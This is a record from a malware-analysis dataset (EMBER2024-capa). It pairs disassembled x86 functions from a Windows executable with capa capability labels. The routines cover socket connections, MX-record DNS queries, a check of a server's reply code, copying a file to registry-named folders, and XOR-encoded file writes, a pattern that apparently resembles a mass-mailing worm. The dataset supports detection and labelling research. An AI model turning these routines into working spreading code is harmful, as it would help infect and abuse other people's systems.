joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405256
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0xa8], 0x94
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetVersionExA
sub esp, 4
cmp dword [ebp - 0xa4], 4
jne 0x40529c
cmp dword [ebp - 0xa0], 0
jne 0x40529c
mov eax, 0x40f231
cmp dword [ebp - 0x98], 2
je 0x405314
jmp 0x40530f
cmp dword [ebp - 0xa4], 5
jne 0x4052e1
mov eax, 0x40f234
cmp dword [ebp - 0xa0], 0
je 0x405314
cmp dword [ebp - 0xa4], 5
jne 0x4052e1
mov eax, 0x40f23a
cmp dword [ebp - 0xa0], 1
je 0x405314
cmp dword [ebp - 0xa4], 5
jne 0x4052e1
mov eax, 0x40f23e
cmp dword [ebp - 0xa0], 2
je 0x405314
cmp dword [ebp - 0xa4], 6
jne 0x40530f
mov eax, 0x40f244
cmp dword [ebp - 0xa0], 0
je 0x405314
cmp dword [ebp - 0xa4], 6
jne 0x40530f
mov eax, 0x40f24b
cmp dword [ebp - 0xa0], 1
je 0x405314
mov eax, 0x40f251
leave
ret

Function at 0x405316
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x54
mov dword [esp + 4], 0x40
lea ebx, [ebp - 0x48]
mov dword [esp], ebx
call sub.WS2_32.DLL_gethostname
sub esp, 8
mov dword [esp], ebx
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
mov edx, 0x40f255
test eax, eax
je 0x40535b
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL_inet_ntoa
sub esp, 4
mov edx, eax
mov eax, edx
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x4053c2
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], 0
mov dword [esp], esi
call sub.WS2_32.DLL_gethostbyname
sub esp, 4
mov ebx, eax
test eax, eax
jne 0x4053f3
mov dword [esp], esi
call sub.WS2_32.DLL_inet_addr
sub esp, 4
mov dword [ebp - 0xc], eax
test ebx, ebx
sete dl
cmp dword [ebp - 0xc], 0xffffffff
sete al
mov ecx, 0
test dl, al
jne 0x40542b
test ebx, ebx
je 0x405428
movsx edx, word [ebx + 0xa]
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp - 0xc]
mov eax, ecx
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x405434
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_WSASocketA
sub esp, 0x18
mov ebx, eax
mov edx, 0xffffffff
cmp eax, 0xffffffff
je 0x4054eb
movzx eax, word [ebp + 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_htons
sub esp, 4
mov word [ebp - 0x16], ax
mov word [ebp - 0x18], 2
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004053c2
mov dword [ebp - 0x14], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.WS2_32.DLL_WSAConnect
sub esp, 0x1c
mov edx, 0xffffffff
cmp eax, 0xffffffff
je 0x4054eb
mov edx, ebx
mov eax, edx
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4054f2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0xc0000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.DLL_CreateFileA
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
sete dl
test eax, eax
sete al
or dl, al
jne 0x4056c8
lea ebx, [ebp - 0x28]
mov dword [esp], ebx
call fcn.00404f82
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x178
mov dword [esp], esi
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 8
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
mov dword [esp], 0x32
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [esp], ebx
call fcn.00404f82
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a0
mov dword [esp], esi
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 8
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
mov dword [esp], 0x32
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [esp], ebx
call fcn.00404f82
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1c8
mov dword [esp], esi
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 8
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1f0
mov dword [esp], esi
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov ebx, 0
lea edi, [ebp - 0x2c]
mov byte [ebp - 0x2d], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
lea eax, [ebp - 0x2d]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
inc ebx
cmp ebx, 7
jle 0x40568d
mov dword [esp], esi
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405776
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x94
lea ebx, [ebp - 0x68]
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_memset
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x3c], 0x81
mov word [ebp - 0x38], 0
lea eax, [ebp - 0x18]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateProcessA
sub esp, 0x28
mov edx, 1
test eax, eax
je 0x405846
cmp dword [ebp + 0xc], 0
je 0x405841
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.DLL_WaitForSingleObject
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
mov edx, 0
mov eax, edx
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x405850
Capabilities:
Copy file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x280], 0x100
mov dword [esp + 4], 0x40f335
lea eax, [ebp - 0x158]
mov dword [esp], eax
call fcn.00404c38
mov dword [esp + 4], 0x40f34d
lea eax, [ebp - 0x178]
mov dword [esp], eax
call fcn.00404c38
lea edi, [ebp - 0x118]
mov ebx, dword [ebp - 0x280]
mov edx, 0
cld
mov ecx, ebx
shr ecx, 2
mov eax, edx
rep stosd dword es:[edi], eax
test bl, 2
je 0x4058c3
mov word [edi], 0
add edi, 2
test bl, 1
je 0x4058ca
mov byte [edi], dl
lea eax, [ebp - 0x27c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea eax, [ebp - 0x158]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x405a30
lea eax, [ebp - 0x280]
mov dword [esp + 0x14], eax
lea ebx, [ebp - 0x118]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x178]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x27c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x405a30
mov eax, dword [ebp - 0x27c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp byte [ebp - 0x118], 0
je 0x405a30
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
cmp byte [eax + ebp - 0x119], 0x2f
jne 0x405992
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
mov byte [eax + ebp - 0x119], 0x5c
lea ebx, [ebp - 0x118]
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
cmp byte [eax + ebp - 0x119], 0x5c
je 0x4059c0
mov dword [esp + 4], 0x40f354
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrcatA
sub esp, 8
mov dword [ebp - 0x284], 0
lea edi, [ebp - 0x278]
mov eax, dword [0x40d3cc]
mov dword [esp], eax
call fcn.00404eae
mov ebx, eax
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.DLL_lstrcpyA
sub esp, 8
mov eax, dword [ebx*4 + 0x40d3a0]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.DLL_lstrcatA
sub esp, 8
mov dword [esp + 8], 1
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
inc dword [ebp - 0x284]
cmp dword [ebp - 0x284], 0
jle 0x4059d0
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x405a3e
Capabilities:
Copy file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x280], 0x100
mov dword [esp + 4], 0x40f356
lea eax, [ebp - 0x158]
mov dword [esp], eax
call fcn.00404c38
mov dword [esp + 4], 0x40f36d
lea eax, [ebp - 0x178]
mov dword [esp], eax
call fcn.00404c38
lea edi, [ebp - 0x118]
mov ebx, dword [ebp - 0x280]
mov edx, 0
cld
mov ecx, ebx
shr ecx, 2
mov eax, edx
rep stosd dword es:[edi], eax
test bl, 2
je 0x405ab1
mov word [edi], 0
add edi, 2
test bl, 1
je 0x405ab8
mov byte [edi], dl
lea eax, [ebp - 0x27c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea eax, [ebp - 0x158]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
jne 0x405c1e
lea eax, [ebp - 0x280]
mov dword [esp + 0x14], eax
lea ebx, [ebp - 0x118]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x178]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x27c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x405c1e
mov eax, dword [ebp - 0x27c]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp byte [ebp - 0x118], 0
je 0x405c1e
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
cmp byte [eax + ebp - 0x119], 0x2f
jne 0x405b80
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
mov byte [eax + ebp - 0x119], 0x5c
lea ebx, [ebp - 0x118]
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
cmp byte [eax + ebp - 0x119], 0x5c
je 0x405bae
mov dword [esp + 4], 0x40f354
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrcatA
sub esp, 8
mov dword [ebp - 0x284], 0
lea edi, [ebp - 0x278]
mov eax, dword [0x40d3cc]
mov dword [esp], eax
call fcn.00404eae
mov ebx, eax
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.DLL_lstrcpyA
sub esp, 8
mov eax, dword [ebx*4 + 0x40d3a0]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.DLL_lstrcatA
sub esp, 8
mov dword [esp + 8], 1
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
inc dword [ebp - 0x284]
cmp dword [ebp - 0x284], 0
jle 0x405bbe
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x405c6c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x44c
mov esi, dword [ebp + 0xc]
mov ebx, 0
mov ecx, 0
mov byte [ebp - 0x41d], 0xc7
cmp ecx, esi
jge 0x405d0b
cmp ecx, 0x3ff
jbe 0x405ccb
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
mov ecx, 0
movzx eax, byte [ebp - 0x41d]
mov edx, dword [ebp + 8]
xor al, byte [ebx + edx]
mov byte [ecx + ebp - 0x418], al
inc ecx
mov eax, 0x75ded953
imul ebx
mov edi, edx
sar edi, 6
mov eax, ebx
cdq
mov eax, edi
sub eax, edx
imul eax, eax, 0x8b
mov edx, ebx
sub edx, eax
lea eax, [edx + edx*2]
add byte [ebp - 0x41d], al
inc ebx
cmp ebx, esi
jl 0x405c90
test ecx, ecx
je 0x405d3d
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov edi, dword [ebp + 0x10]
mov dword [esp], edi
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4060aa
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov dword [ebp - 0x10], 0
mov dword [esp + 0x14], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xf
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.DNSAPI.DLL_DnsQuery_A
sub esp, 0x18
mov edx, 0
test eax, eax
jne 0x40618f
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40617c
cmp word [ebx + 8], 0xf
jne 0x406176
call sub.KERNEL32.DLL_GetProcessHeap
mov dword [esp + 8], 0x102
mov dword [esp + 4], 8
mov dword [esp], eax
call sub.KERNEL32.DLL_HeapAlloc
sub esp, 0xc
mov esi, eax
test eax, eax
je 0x406176
movzx eax, word [ebx + 0x1c]
mov word [esi], ax
mov eax, dword [ebx + 0x18]
mov dword [esp + 4], eax
lea eax, [esi + 2]
mov dword [esp], eax
call sub.KERNEL32.DLL_lstrcpyA
sub esp, 8
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 4]
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0xffffffff
inc eax
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.004013d8
test eax, eax
je 0x406176
mov eax, dword [edi]
mov edx, dword [ebp - 0x14]
mov dword [eax + edx*4], esi
mov ebx, dword [ebx]
test ebx, ebx
jne 0x406103
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.DLL_GlobalFree
sub esp, 4
mov edx, 1
mov eax, edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x406746
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [ebp + 0xc]
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_send
sub esp, 0x10
cmp eax, 0xffffffff
setne al
movzx eax, al
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x406788
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [esp], ebx
call sub.KERNEL32.DLL_lstrlenA
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WS2_32.DLL_send
sub esp, 0x10
mov edx, 0
cmp eax, 0xffffffff
je 0x4067d6
mov dword [esp], esi
call fcn.004067e0
test eax, eax
setne al
movzx edx, al
mov eax, edx
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x4067e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x414
lea ebx, [ebp - 0x408]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.DLL_recv
sub esp, 0x10
inc eax
mov edx, 0
cmp eax, 1
jbe 0x40684e
lea eax, [ebp - 0x408]
mov dword [esp], eax
call fcn.00406856
cmp eax, 0x190
setl al
movzx edx, al
mov eax, edx
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x406a0a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4068a0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
leave
ret
Function at 0x408054
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov eax, 0
test ebx, ebx
je 0x408147
not ecx
cmp esi, 7
jle 0x408124
mov edi, 0x412d60
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
sub esi, 8
cmp esi, 7
jg 0x408080
test esi, esi
je 0x408143
mov edi, 0x412d60
movzx eax, byte [ebx]
xor al, cl
movzx edx, al
mov eax, ecx
shr eax, 8
mov ecx, eax
xor ecx, dword [edi + edx*4]
inc ebx
dec esi
jne 0x40812d
mov eax, ecx
not eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4081d8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x43c
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], edi
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov ebx, 0
lea esi, [ebp - 0x418]
mov dword [ebp - 0x41c], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.KERNEL32.DLL_ReadFile
sub esp, 0x14
test eax, eax
je 0x40826f
cmp dword [ebp - 0x41c], 0
je 0x40826f
mov eax, dword [ebp - 0x41c]
mov dword [esp + 8], eax
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00408054
mov ebx, eax
jmp 0x408215
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], edi
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov eax, ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40a8b0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x40a8e6
mov dword [0x418200], eax
mov edx, 0x40a890
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040b010
test eax, eax
sete al
movzx eax, al
mov dword [0x40d4d4], eax
leave
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x40d4d4], eax
leave
ret

Function at 0x40a9d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], 0x408b60
mov dword [ebp - 0x24], 0x40c590
mov dword [ebp - 0x1c], 0x40aa90
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call fcn.0040b460
cmp dword [0x40d4d4], 0
mov dword [ebp - 0x44], 0x418210
je 0x40aa70
jl 0x40aab0
mov dword [ebp - 0x3c], 1
mov eax, dword [0x418200]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x40ab53
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0040b540
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x41824c]
mov eax, 0xffffffff
test edx, edx
je 0x40aaca
mov eax, dword [0x40d4d8]
test eax, eax
je 0x40ab0a
xor eax, eax
test eax, eax
jne 0x40ab00
mov edi, dword [0x40d4d4]
test edi, edi
js 0x40ab00
mov dword [ebp - 0x44], 0x418210
mov ebx, dword [0x40d4d4]
test ebx, ebx
je 0x40aa70
jmp 0x40aa1e
xor esi, esi
mov dword [0x40d4d4], esi
jmp 0x40aad8
mov dword [esp], 0x40d4dc
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.DLL_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x40ab91
mov eax, dword [0x40d4d8]
test eax, eax
jne 0x40aac8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x40d4d8]
test eax, eax
je 0x40ab2d
jmp 0x40aac8
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x40ab85
mov dword [esp + 4], eax
mov eax, dword [0x418200]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x40abba
test edx, edx
je 0x40aba5
mov dword [ebp - 0x3c], 1
call fcn.0040a430
call fcn.0040a8b0
mov eax, 1
mov dword [0x40d4d8], eax
jmp 0x40aac8
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x40aa66
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
jmp 0x40ab81